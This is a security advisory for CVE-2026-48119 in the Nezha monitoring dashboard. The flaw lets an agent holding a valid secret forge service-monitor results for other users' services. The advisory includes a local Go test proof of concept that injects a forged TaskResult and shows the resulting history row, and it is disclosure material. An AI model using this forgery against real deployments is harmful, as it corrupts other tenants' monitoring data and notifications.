PT-2026-45493 · Go · Github.Com/Nezhahq/Nezha
Published
2026-06-01
·
Updated
2026-06-01
·
CVE-2026-48119
CVSS v3.1
7.1
High
| Vector | AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L |
Summary
Nezha accepts service-monitor
TaskResult messages from an authenticated agent based only on whether the reported service ID exists. The dashboard authenticates the agent and derives the reporter server ID from the gRPC stream, but the service-monitor result worker does not verify that the reporter server was selected for that service, belongs to the service owner, or was actually assigned that monitoring task.A low-privilege user with a valid agent secret and one registered agent can therefore submit forged monitoring results for another user's service ID. This allows cross-tenant corruption of service-monitor history/current state, and can influence victim-owned service notifications with attacker-controlled result text.
Details
The agent task stream accepts inbound
TaskResult messages after authenticating agent metadata:service/rpc/auth.go:23-60validatesclient secretandclient uuid.service/rpc/auth.go:63-75registers an unknown valid UUID as a server for the authenticated secret owner.service/rpc/nezha.go:40-48authenticates theRequestTaskstream and binds it toclientID.service/rpc/nezha.go:50-56receives agent-controlledTaskResultmessages.proto/nezha.proto:60-65defines attacker-controlledTaskResult.id,type,delay,data, andsuccessful.
For service-monitor task types, the result is dispatched directly to the service sentinel using the authenticated server ID as reporter:
service/rpc/nezha.go:85-90dispatches service-monitor result types toServiceSentinelShared.DispatchwithReporter: clientID.model/service.go:131-140treats non-operational task types as service-monitor result types.
The vulnerable authorization gap is in the service-monitor worker:
service/singleton/servicesentinel.go:475-483checks only thatr.Data.GetId()resolves to an existing service.- It does not check that
r.Reporteris covered by that service. - It does not check that the service owner owns the reporter server.
- It does not check that the dashboard actually sent this service-monitor task to that agent.
The forged result is then recorded and used for service status processing:
service/singleton/servicesentinel.go:487-528records ping service history keyed byServiceIDandReporter.service/singleton/servicesentinel.go:543-624updates today's status, current service state, and state-change handling.service/singleton/servicesentinel.go:723-739can send victim-owned notifications containingmh.Data, which is attacker-controlled result text.
This is inconsistent with outbound service-monitor dispatch, which does enforce service coverage and ownership before sending tasks to agents:
cmd/dashboard/rpc/rpc.go:84-109sends service-monitor tasks only to selected/non-skipped servers according toService.CoverandSkipServers.cmd/dashboard/rpc/rpc.go:96-107callscanSendTaskToServerbefore sending.cmd/dashboard/rpc/rpc.go:182-193permits outbound dispatch only when the service owner owns the server, or when the service owner is an admin.cmd/dashboard/controller/service.go:478-480andcmd/dashboard/controller/service.go:590-607validate selected servers, trigger tasks, and notification groups during service creation/update.
The inbound result path should mirror these authorization checks before accepting a result.
PoC
The following local PoC creates a temporary Go test file in
service/singleton, uses an in-memory SQLite database, does not start the dashboard listener, does not contact public systems, and removes the temporary test file on exit.The PoC proves the vulnerable processing path by creating:
- victim user ID
100; - victim service ID
10; - victim server ID
1; - attacker user ID
200; - attacker reporter server ID
2.
The victim service is configured with
ServiceCoverIgnoreAll and only server 1 enabled. Therefore, the dashboard's outbound service-monitor dispatch logic would not send this task to attacker server 2.The forged inbound result from reporter
2 is nevertheless accepted and creates a ServiceHistory row for victim service 10.Environment tested:
- Repository:
https://github.com/nezhahq/nezha.git - Commit:
79c06d0f95ad4e0eedc01a72fc0c54f4666cb0bf - OS: Linux
- Test date: 2026-05-19
From a clean checkout of the tested commit, run:
set -e
pocfile=$(mktemp service/singleton/service spoof poc XXXX test.go)
cleanup() {
rm -f "$pocfile"
}
trap cleanup EXIT
cat > "$pocfile" <<'EOF'
package singleton
import (
"testing"
"time"
"github.com/patrickmn/go-cache"
"github.com/robfig/cron/v3"
"gorm.io/driver/sqlite"
"gorm.io/gorm"
"github.com/nezhahq/nezha/model"
pb "github.com/nezhahq/nezha/proto"
)
func replaceServerSharedForSpoofPoC(t *testing.T, servers ...*model.Server) {
t.Helper()
original := ServerShared
serverClass := &ServerClass{
class: class[uint64, *model.Server]{
list: make(map[uint64]*model.Server),
},
uuidToID: make(map[string]uint64),
}
for , server := range servers {
serverClass.list[server.ID] = server
}
ServerShared = serverClass
t.Cleanup(func() { ServerShared = original })
}
func TestForgedAgentServiceResultCreatesHistoryForUnassignedService(t *testing.T) {
originalDB := DB
originalConf := Conf
originalCache := Cache
originalCronShared := CronShared
originalServerShared := ServerShared
originalServiceSentinelShared := ServiceSentinelShared
originalNotificationShared := NotificationShared
originalTSDB := TSDBShared
originalLoc := Loc
t.Cleanup(func() {
DB = originalDB
Conf = originalConf
Cache = originalCache
CronShared = originalCronShared
ServerShared = originalServerShared
ServiceSentinelShared = originalServiceSentinelShared
NotificationShared = originalNotificationShared
TSDBShared = originalTSDB
Loc = originalLoc
})
db, err := gorm.Open(sqlite.Open("file::memory:?cache=shared"), &gorm.Config{})
if err != nil {
t.Fatal(err)
}
DB = db
if err := DB.AutoMigrate(
model.Server{},
model.Service{},
model.ServiceHistory{},
model.Notification{},
model.NotificationGroup{},
model.NotificationGroupNotification{},
); err != nil {
t.Fatal(err)
}
Conf = &ConfigClass{Config: &model.Config{AvgPingCount: 1}}
Cache = cache.New(time.Minute, time.Minute)
CronShared = &CronClass{
Cron: cron.New(cron.WithSeconds()),
class: class[uint64, *model.Cron]{list: map[uint64]*model.Cron{}},
}
NotificationShared = &NotificationClass{
class: class[uint64, *model.Notification]{list: map[uint64]*model.Notification{}},
groupToIDList: map[uint64]map[uint64]*model.Notification{},
idToGroupList: map[uint64]map[uint64]struct{}{},
groupList: map[uint64]string{},
}
replaceServerSharedForSpoofPoC(t,
&model.Server{Common: model.Common{ID: 1, UserID: 100}, Name: "victim-server"},
&model.Server{Common: model.Common{ID: 2, UserID: 200}, Name: "attacker-agent"},
)
Loc = time.UTC
bus := make(chan *model.Service, 1)
ss, err := NewServiceSentinel(bus)
if err != nil {
t.Fatal(err)
}
ServiceSentinelShared = ss
victimService := &model.Service{
Common: model.Common{ID: 10, UserID: 100},
Name: "victim-private-service",
Type: model.TaskTypeTCPPing,
Target: "example.invalid:443",
Duration: 3600,
Cover: model.ServiceCoverIgnoreAll,
SkipServers: map[uint64]bool{1: true},
}
if err := DB.Create(victimService).Error; err != nil {
t.Fatal(err)
}
if err := ss.Update(victimService); err != nil {
t.Fatal(err)
}
ss.Dispatch(ReportData{
Reporter: 2,
Data: &pb.TaskResult{
Id: 10,
Type: model.TaskTypeTCPPing,
Delay: 12,
Data: "forged result from unauthorized agent",
Successful: true,
},
})
deadline := time.After(2 * time.Second)
for {
var count int64
if err := DB.Model(&model.ServiceHistory{}).
Where("service id = ? AND server id = ?", 10, 2).
Count(&count).Error; err != nil {
t.Fatal(err)
}
if count > 0 {
return
}
select {
case <-deadline:
t.Fatalf("expected forged history row for service 10 from unauthorized reporter 2")
default:
time.Sleep(10 * time.Millisecond)
}
}
}
EOF
go test ./service/singleton -run TestForgedAgentServiceResultCreatesHistoryForUnassignedService -count=1 -v
Expected vulnerable output:
=== RUN TestForgedAgentServiceResultCreatesHistoryForUnassignedService
--- PASS: TestForgedAgentServiceResultCreatesHistoryForUnassignedService
PASS
ok github.com/nezhahq/nezha/service/singleton
Observed output in my local test environment:
=== RUN TestForgedAgentServiceResultCreatesHistoryForUnassignedService
--- PASS: TestForgedAgentServiceResultCreatesHistoryForUnassignedService (0.01s)
PASS
ok github.com/nezhahq/nezha/service/singleton 0.020s
The test passes because a forged result from reporter server
2 creates a service-history row for victim service 10, even though service 10 only covers victim server 1.A fixed version should reject or ignore this forged result. After a fix, the current PoC should fail at the assertion waiting for a
ServiceHistory row unless the test is changed to assert that count == 0.Note: this is a local processing-path PoC. It directly exercises the same service sentinel worker that the authenticated gRPC
RequestTask path dispatches to. It does not open a network gRPC connection, send real notifications, or execute commands.Impact
A low-privilege Nezha user with a valid agent secret can forge service-monitor results for services outside their ownership boundary.
Confirmed impact:
- Cross-tenant service-monitor integrity violation.
- False service history entries for victim-owned services.
- Poisoned service availability/current-state data.
Likely impact through the same processing path:
- Victim-owned service notifications can be triggered with attacker-controlled result text.
- Monitoring reliability can be degraded by false up/down/latency results.
This does not require dashboard administrator privileges. The attacker only needs a normal account/agent secret and one registered agent/server.
Fix
Missing Authorization
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Github.Com/Nezhahq/Nezha